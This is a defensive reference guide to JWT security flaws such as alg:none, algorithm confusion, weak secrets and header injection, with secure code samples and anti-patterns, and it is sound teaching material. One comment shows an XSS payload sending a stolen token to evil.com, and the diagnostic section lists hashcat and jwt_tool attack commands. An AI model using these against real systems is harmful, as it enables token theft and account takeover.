JWT Security Pitfalls: Common Vulnerabilities and Mitigations

Type: Software Reference Confidence: 0.94 Sources: 7 Verified: 2026-02-27 Freshness: 2026-02-27

TL;DR

Constraints

Quick Reference

#VulnerabilityRiskVulnerable PatternSecure Pattern
1alg:none acceptanceCriticalLibrary accepts unsigned tokensReject none algorithm; use algorithms allowlist
2Algorithm confusion (RS256 to HS256)CriticalServer uses token header to pick algorithmHard-code expected algorithm in verification config
3Weak HMAC secretHighsecret = "mysecret"Use 256+ bit key from CSPRNG: openssl rand -base64 64
4Missing exp validationHighToken never expiresSet short-lived tokens (5-15 min) + refresh tokens
5JWK header injectionHighServer trusts jwk parameter in token headerIgnore embedded JWK; use server-side JWKS only
6JKU header injectionHighServer fetches keys from attacker-controlled URLWhitelist allowed jku URLs; pin JWKS endpoint
7KID parameter injectionHighkid used in SQL query or file path unsanitizedValidate kid against allowlist; never use in SQL/file ops
8Sensitive data in claimsMedium{"ssn": "123-45-6789"} in payloadUse opaque token IDs; store sensitive data server-side
9Token stored in localStorageMediumXSS can read localStorage.getItem("token")Use HttpOnly + Secure + SameSite cookies
10No token revocationMediumCompromised token valid until expMaintain server-side denylist keyed by jti
11Missing iss/aud validationMediumToken accepted by any serviceVerify iss matches expected issuer; aud matches your service
12Token sidejackingMediumStolen JWT grants full accessBind token to client fingerprint via hardened cookie

Decision Tree

START: What JWT security concern are you addressing?
├── Token verification is failing or bypassed?
│   ├── alg:none accepted? → Reject none; enforce algorithms allowlist
│   ├── Algorithm confusion (HS256 vs RS256)? → Hard-code algorithm; separate HS/RS endpoints
│   └── Signature not verified at all? → Use verify(), NOT decode()
├── Token stolen or reusable across services?
│   ├── No expiry set? → Add exp claim (5-15 min); use refresh tokens
│   ├── No audience validation? → Validate aud claim on every request
│   ├── Stored in localStorage? → Move to HttpOnly + Secure + SameSite cookie
│   └── No revocation mechanism? → Implement jti-based denylist
├── Header parameter injection?
│   ├── jwk in header trusted? → Ignore jwk; use server-side JWKS only
│   ├── jku pointing to external URL? → Whitelist jku URLs
│   └── kid used in SQL/file path? → Validate kid against allowlist
├── Sensitive data exposure?
│   ├── PII in claims? → Remove; use opaque references + server-side lookup
│   └── Internal architecture in claims? → Replace with UUIDs; use generic roles
└── DEFAULT → Apply all constraints above + short token lifetime + HTTPS only

Step-by-Step Guide

1. Enforce algorithm allowlists on every verification call

The most critical defense: never let the token header dictate which algorithm the server uses. Specify allowed algorithms explicitly. [src4]

import jwt  # PyJWT >= 2.4.0

# SECURE: explicit algorithm allowlist
payload = jwt.decode(
    token,
    key=public_key,
    algorithms=["RS256"],  # NEVER omit this parameter
    audience="https://api.example.com",
    issuer="https://auth.example.com"
)

Verify: Craft a token with "alg": "none" and empty signature -- your server should reject it with an algorithm mismatch error.

2. Use strong signing keys

For HMAC (symmetric) algorithms, the key must be at least 256 bits. For RSA, use 2048-bit keys minimum (4096-bit recommended). [src2]

# Generate a strong HMAC secret (64 bytes = 512 bits)
openssl rand -base64 64

# Generate an RSA 4096-bit key pair
openssl genrsa -out private.pem 4096
openssl rsa -in private.pem -pubout -out public.pem

Verify: Attempt brute-force with hashcat -a 0 -m 16500 <token> <wordlist> -- should be computationally infeasible.

3. Set short token lifetimes and validate temporal claims

Access tokens should expire in 5-15 minutes. Always validate exp, nbf, and iat. [src1]

import jwt
from datetime import datetime, timezone, timedelta

payload = {
    "sub": user_id,
    "iss": "https://auth.example.com",
    "aud": "https://api.example.com",
    "exp": datetime.now(timezone.utc) + timedelta(minutes=15),
    "jti": str(uuid.uuid4())
}
token = jwt.encode(payload, private_key, algorithm="RS256")

Verify: Create a token with exp set 1 second in the past -- verification should raise ExpiredSignatureError.

4. Implement token revocation with a jti denylist

JWTs are stateless by design but compromised tokens remain valid until expiry. Maintain a denylist for critical operations. [src1]

CREATE TABLE revoked_tokens (
  jti         VARCHAR(255) PRIMARY KEY,
  revoked_at  TIMESTAMP DEFAULT NOW(),
  expires_at  TIMESTAMP NOT NULL
);

Verify: Revoke a valid token's jti, then attempt to use the token -- should be rejected.

5. Secure client-side token storage

Never store JWTs in localStorage (vulnerable to XSS). Use HttpOnly cookies with Secure, SameSite, and path restrictions. [src1]

res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'Strict',
  maxAge: 15 * 60 * 1000,
  path: '/api'
});

Verify: Open browser DevTools > Console > document.cookie -- the token should NOT appear.

6. Bind tokens to client context (anti-sidejacking)

Generate a random fingerprint during authentication, hash it into the token, and send the raw value as a hardened cookie. [src1]

import hashlib, secrets

fingerprint = secrets.token_hex(32)
fingerprint_hash = hashlib.sha256(fingerprint.encode()).hexdigest()

claims = {
    "sub": user_id,
    "exp": ...,
    "user_context": fingerprint_hash
}
# Set-Cookie: __Secure-Fgp={fingerprint}; HttpOnly; Secure; SameSite=Strict

Verify: Extract the JWT and replay it without the cookie -- should be rejected due to mismatched fingerprint.

Code Examples

Python/PyJWT: Secure Token Verification

import jwt  # PyJWT >= 2.4.0

# Input:  JWT string, RSA public key (PEM), expected issuer and audience
# Output: Decoded claims dict, or raises exception on invalid token

def verify_token(token: str, public_key: str) -> dict:
    try:
        payload = jwt.decode(
            token,
            key=public_key,
            algorithms=["RS256"],
            audience="https://api.example.com",
            issuer="https://auth.example.com",
            options={
                "require": ["exp", "iss", "aud", "sub", "jti"],
                "verify_exp": True,
                "verify_iss": True,
                "verify_aud": True,
            }
        )
        if is_revoked(payload.get("jti")):
            raise jwt.InvalidTokenError("Token has been revoked")
        return payload
    except jwt.ExpiredSignatureError:
        raise
    except jwt.InvalidTokenError as e:
        raise

Node.js/jsonwebtoken: Secure Token Verification

const jwt = require('jsonwebtoken');  // >= 9.0.0

// Input:  JWT string, RSA public key (PEM)
// Output: Decoded payload, or throws on invalid token

function verifyToken(token, publicKey) {
  return jwt.verify(token, publicKey, {
    algorithms: ['RS256'],
    audience: 'https://api.example.com',
    issuer: 'https://auth.example.com',
    complete: false,
    clockTolerance: 5,
  });
}

Java/jjwt: Secure Token Verification

// jjwt >= 0.12.0
import io.jsonwebtoken.Jwts;
import java.security.PublicKey;

// Input:  JWT string, RSA public key
// Output: Claims object, or throws SignatureException

public Claims verifyToken(String token, PublicKey publicKey) {
    return Jwts.parser()
        .verifyWith(publicKey)
        .requireIssuer("https://auth.example.com")
        .requireAudience("https://api.example.com")
        .build()
        .parseSignedClaims(token)
        .getPayload();
}

Anti-Patterns

Wrong: Deriving algorithm from the token header

# BAD -- attacker controls the algorithm by modifying the JWT header
import jwt
header = jwt.get_unverified_header(token)
payload = jwt.decode(token, key, algorithms=[header["alg"]])
# Attacker sets alg:HS256, signs with the RSA public key -> accepted!

Correct: Hard-code the expected algorithm

# GOOD -- server dictates the algorithm, not the token
import jwt
payload = jwt.decode(token, key, algorithms=["RS256"])

Wrong: Using decode() instead of verify()

// BAD -- decode() does NOT verify the signature
const jwt = require('jsonwebtoken');
const payload = jwt.decode(token);  // Anyone can forge this token

Correct: Always use verify() with algorithm enforcement

// GOOD -- verify() checks signature + claims
const jwt = require('jsonwebtoken');
const payload = jwt.verify(token, publicKey, { algorithms: ['RS256'] });

Wrong: Weak HMAC secret

# BAD -- short secrets are brute-forceable with hashcat in minutes
import jwt
token = jwt.encode(payload, "secret123", algorithm="HS256")

Correct: Cryptographically strong secret

# GOOD -- 512-bit key from CSPRNG
import jwt, secrets
signing_key = secrets.token_bytes(64)
token = jwt.encode(payload, signing_key, algorithm="HS256")

Wrong: Storing JWTs in localStorage

// BAD -- any XSS vulnerability can steal the token
localStorage.setItem('token', jwt);
// XSS payload: fetch('https://evil.com?t=' + localStorage.getItem('token'))

Correct: HttpOnly cookie storage

// GOOD -- JavaScript cannot access HttpOnly cookies
res.cookie('token', jwt, {
  httpOnly: true, secure: true, sameSite: 'Strict', path: '/api'
});

Wrong: No expiry or extremely long expiry

# BAD -- token valid forever; if stolen, attacker has permanent access
payload = {"sub": user_id}  # No exp claim
token = jwt.encode(payload, key, algorithm="RS256")

Correct: Short-lived tokens with refresh flow

# GOOD -- 15-minute access token + refresh token
from datetime import datetime, timezone, timedelta
payload = {
    "sub": user_id,
    "exp": datetime.now(timezone.utc) + timedelta(minutes=15),
    "jti": str(uuid.uuid4())
}
token = jwt.encode(payload, key, algorithm="RS256")

Common Pitfalls

Diagnostic Commands

# Decode a JWT without verification (inspect header + payload)
echo 'eyJhbGci...' | cut -d. -f1 | base64 -d 2>/dev/null | jq .
echo 'eyJhbGci...' | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Check JWT header algorithm
echo $JWT | cut -d. -f1 | base64 -d 2>/dev/null | jq -r .alg

# Brute-force weak HMAC secrets with hashcat
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt

# Test for alg:none vulnerability with jwt_tool
python3 jwt_tool.py <token> -X a   # Test alg:none
python3 jwt_tool.py <token> -X k   # Test key confusion

# Verify RSA key strength
openssl rsa -in private.pem -text -noout | head -1

# Check a JWKS endpoint for key issues
curl -s https://auth.example.com/.well-known/jwks.json | jq '.keys[] | {kid, kty, alg, use}'

# Verify token expiry from the command line
echo $JWT | cut -d. -f2 | base64 -d 2>/dev/null | jq '.exp | todate'

Version History & Compatibility

LibraryVersionStatusKey Security Feature
PyJWT2.x (2.11.0)Currentalgorithms parameter required by default; rejects none
PyJWT1.xEOLalgorithms parameter optional -- vulnerable to confusion attacks
jsonwebtoken (Node)9.xCurrentalgorithms required in verify(); rejects none by default
jsonwebtoken (Node)8.xDeprecatedalgorithms optional -- vulnerable if omitted
java-jwt (Auth0)4.xCurrentTyped algorithm builders prevent confusion attacks
jjwt (Java)0.12.xCurrentparseSignedClaims() rejects unsigned tokens
golang-jwt5.xCurrentWithValidMethods() enforces algorithm allowlist
RFC 7519N/AActiveDefines JWT structure; mandates HS256 + none support (disable in production)

When to Use / When Not to Use

Use WhenDon't Use WhenUse Instead
Stateless API authentication in microservicesYou need immediate token revocation for every requestServer-side sessions with session ID
Single Sign-On (SSO) across multiple domainsTokens carry large amounts of data (>4KB)Opaque tokens + server-side data store
Short-lived access tokens (5-15 min lifetime)You store sensitive PII in the token payloadEncrypted tokens (JWE) or opaque references
Mobile/SPA clients calling REST APIsYour threat model requires instant logout across all sessionsSession-based auth with server-side invalidation

Important Caveats

Related Units